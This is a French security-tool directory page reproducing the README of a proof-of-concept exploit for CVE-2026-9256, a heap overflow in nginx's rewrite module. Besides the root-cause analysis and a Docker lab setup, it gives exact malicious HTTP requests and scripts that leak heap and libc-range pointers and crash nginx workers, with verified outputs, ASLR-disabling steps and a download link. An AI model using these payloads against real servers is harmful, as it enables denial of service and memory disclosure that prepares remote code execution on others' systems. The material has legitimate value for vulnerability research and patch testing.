Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-9256-Poc — Démontre le débordement de tas CVE-2026-9256 dans le module ngx_http_rewrite_module de nginx avec des scripts PoC pour les fuites de tas/libc et le crash du worker. | Kitploit
Outils/GitHubGitHub/3nou9h/cve-2026-9256-poc
Criminalistique MémoireAnalyse des VulnérabilitésExploitationSécurité WebApprentissage et ÉducationExploitation de Binaires
GitHub3nou9h/cve-2026-9256-poc

CVE-2026-9256-Poc

Démontre le débordement de tas CVE-2026-9256 dans le module ngx_http_rewrite_module de nginx avec des scripts PoC pour les fuites de tas/libc et le crash du worker.

Voir le dépôt
314il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

nginx ngx_http_rewrite_module Débordement de tas (Heap Buffer Overflow)

Description

nginx Plus et nginx Open Source contiennent une vulnérabilité de débordement de tas dans le module ngx_http_rewrite_module. Lorsqu'une directive rewrite utilise une expression régulière avec plusieurs groupes de capture PCRE qui se chevauchent (par ex. ^/((.*))$) et un remplacement qui référence plusieurs captures (par ex. $1&y=$2), le calcul de la taille du tampon de chemin statique sous-estime l'espace nécessaire, ce qui provoque un dépassement de l'écriture réelle par rapport à la taille allouée (Pool Slip).

Un attaquant non authentifié peut déclencher cela via une requête HTTP malveillante, entraînant un débordement de tas dans le processus worker. Lorsque l'ASLR est désactivé ou peut être contourné, l'exécution de code est possible.

Cause Racine

Fichier : src/http/ngx_http_script.c:1143-1155

root@kitploit:~
if (code->lengths == NULL) {
    e->buf.len = code->size;
    if (code->uri) {
        if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
            // BUG: la surcharge d'échappement est comptée une seule fois pour l'URI entier
            e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
                                             NGX_ESCAPE_ARGS);
        }
    }
    for (n = 2; n < r->ncaptures; n += 2) {
        e->buf.len += r->captures[n + 1] - r->captures[n];  // taille brute
    }
}

Chaque $N est échappé indépendamment lors de la copie (ngx_http_script.c:1397-1401). Les captures imbriquées amènent la même sous-chaîne à être échappée deux fois, doublant ainsi le coût d'échappement, mais l'allocation ne le compte qu'une seule fois.

Formule de débordement (imbrication à 2 niveaux ((.+)), caractères + dans l'URI) :

root@kitploit:~
alloué = code_size + 2*Q + 2*(Q+1)
réel   = code_size + 2*(3*Q + 1)
débord. = 2*Q  (contrôlable avec précision)

Conditions de déclenchement (toutes les trois requises) :

Environnement de Test

Prérequis

  • Docker (avec docker compose)
  • Python 3 (aucune dépendance tierce)

Structure des Répertoires

root@kitploit:~
.
├── env/
│   ├── Dockerfile                 # Basé sur nginx:1.31.0
│   ├── docker-compose.yml         # Configuration du conteneur (SYS_PTRACE)
│   ├── entrypoint.sh              # ASLR activé (par défaut)
│   ├── entrypoint_aslr_off.sh     # ASLR désactivé (pour libc_leak)
│   └── nginx.conf                 # Configuration vulnérable
├── heap_leak.py                   # PoC heap_leak
├── libc_leak.py                   # PoC libc_leak
├── crash_verify.py                # PoC crash_verify
├── LICENSE
└── README.md

Construction et Exécution

root@kitploit:~
cd env/

# Télécharger l'image de base (~200 Mo)
docker pull nginx:1.31.0

# Construire et démarrer
docker compose up --build -d

# Vérifier
curl -s http://127.0.0.1:19321/
# Attendu : ok

Commandes Courantes

root@kitploit:~
# Afficher les logs nginx (infos de crash)
docker compose logs -f

# Arrêter et supprimer
docker compose down

# Redémarrer (après un crash)
docker compose restart

ASLR

Vérifier l'état actuel :

root@kitploit:~
cat /proc/sys/kernel/randomize_va_space
# 0 = désactivé, 1 = partiel, 2 = total

heap_leak et crash_verify fonctionnent indépendamment de l'ASLR. libc_leak nécessite que l'ASLR soit désactivé sur l'hôte :

root@kitploit:~
sudo sysctl -w kernel.randomize_va_space=0
docker compose restart

Sinon, désactiver l'ASLR uniquement pour le processus nginx (aucun privilège hôte nécessaire) : copier entrypoint_aslr_off.sh par-dessus entrypoint.sh, puis docker compose up --build -d.

Note : les conteneurs partagent le noyau hôte. randomize_va_space doit être défini sur l'hôte.

Résultats Vérifiés

Fuite de Pointeur de Tas

Configuration requise :

root@kitploit:~
location /echo/ {
    rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last;
}
location /show {
    internal;
    default_type text/plain;
    return 200 "x=$arg_x\ny=$arg_y\n";
}

Mécanisme : Pool Slip fait que ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t)) atterrit dans la zone de débordement. Les champs initialisés du moteur de script (e->ip, e->sp, e->request) fuient dans la chaîne de requête de l'URI réécrit et sont reflétés via return 200 "$arg_y".

Requête :

root@kitploit:~
GET /echo/%25%25%25%25%25A HTTP/1.0

Résultat vérifié (nginx:1.31.0, ASLR activé) :

root@kitploit:~
e->ip      = 0x00006544dec82430  (tableau de codes du pool de configuration)
e->sp      = 0x00006544dec5ada0  (pile de scripts du pool de requête)
e->request = 0x00006544dec58880  (structure de requête)

Ce qui fuit : Des pointeurs bruts du tas dans l'espace d'adressage du worker nginx.

PoC : heap_leak.py


Fuite de Pointeur dans la Plage libc

Configuration requise :

root@kitploit:~
location /leak2/ {
    rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last;
}
location /proxy-leak {
    internal;
    proxy_pass http://backend;           # doit être accessible
    add_header X-Leak-Y "$arg_y" always;
}

Mécanisme : proxy_pass déclenche l'initialisation amont. Les structures amont contenant des pointeurs de fonctions de bibliothèque sont allouées dans la zone de débordement. add_header "$arg_y" écrit les octets bruts dans l'en-tête de réponse.

Requête :

root@kitploit:~
GET /leak2/%25%25...(~40 x %25)...A HTTP/1.0

Résultat vérifié (nginx:1.31.0, ASLR désactivé, request_pool_size=7920) :

root@kitploit:~
leaked ptr = 0x00007fbfc3b7c346

Ce qui fuit : Un pointeur brut dans la plage 0x7f... (région de chargement de libc). Pour calculer la base libc, lire /proc/<pid>/maps sur la cible et calculer leaked_ptr - libc_base.

Dépendance ASLR : Cette étape nécessite l'ASLR désactivé. Le pointeur fuit provient de métadonnées de bloc libéré (fd/bk → main_arena). Avec l'ASLR activé, le décalage du bloc libéré varie et les petits débordements ne peuvent pas l'atteindre de manière fiable.

PoC : libc_leak.py


Alternative plus simple : En utilisant le mode redirect (rewrite ^/r/((.*))$ http://.../?$1$2 redirect;), l'en-tête Location expose directement les octets bruts du débordement sans problème d'encodage de caractères. Une seule requête peut fuir des pointeurs de tas (Q=10~450) ou déclencher un crash (Q >= 500), sans nécessiter proxy_pass ou pool_size spécial.


Crash du Worker (DoS)

Configuration requise :

root@kitploit:~
location /leak9/ {
    rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last;
}
location /show9 {
    internal;
    default_type text/plain;
    return 200 "i=$arg_i\n";
}

Mécanisme : Une imbrication à 9 niveaux produit un débordement de 16Q (contre 2Q pour 2 niveaux). Avec request_pool_size=7920, Q=123 franchit la limite du bloc du pool, écrasant les métadonnées du bloc malloc adjacent. glibc détecte la corruption et termine le worker. Le maître redémarre automatiquement.

Requête :

root@kitploit:~
GET /leak9/%2b%2b...(123 x %2b)...A HTTP/1.0

Résultat vérifié (nginx:1.31.0, request_pool_size=7920) :

root@kitploit:~
Q=122 : réponse normale  (débordement=1952B)
Q=123 : pas de réponse, nginx error.log :
  corrupted size vs. prev_size
  worker process XX exited on signal 6 (core dumped)
Reproduit 5/5 fois.

Imbrication vs pool_size : N niveaux produisent un débordement = (N-1)*2*Q. Le pool_size par défaut de 4096 avec 9 niveaux d'imbrication est suffisant pour crasher. Un pool_size plus grand nécessite moins de niveaux pour un Q donné.

PoC : crash_verify.py

Exécution des PoC

root@kitploit:~
# Étape 1 : Fuite de pointeur de tas
python3 heap_leak.py 127.0.0.1 19321

# Étape 2 : Fuite de pointeur dans la plage libc (nécessite ASLR désactivé)
python3 libc_leak.py 127.0.0.1 19321

# Étape 3 : Crash DoS
python3 crash_verify.py 127.0.0.1 19321

Avertissement

Cette preuve de concept est fournie à des fins éducatives et de recherche en sécurité autorisée uniquement. Toute utilisation non autorisée est interdite.

Télécharger l’outil
ConditionDétail
Pas de variables nommées, pas de $N en doubleChemin statique (sc.variables==0 && !sc.dup_capture)
Groupe de capture imbriqué dans l'expression régulièreex. ((.+)) fait que $1 et $2 correspondent au même contenu
+ ou %XX dans l'URIDéclenche le chemin d'échappement (plus_in_uri ou quoted_uri)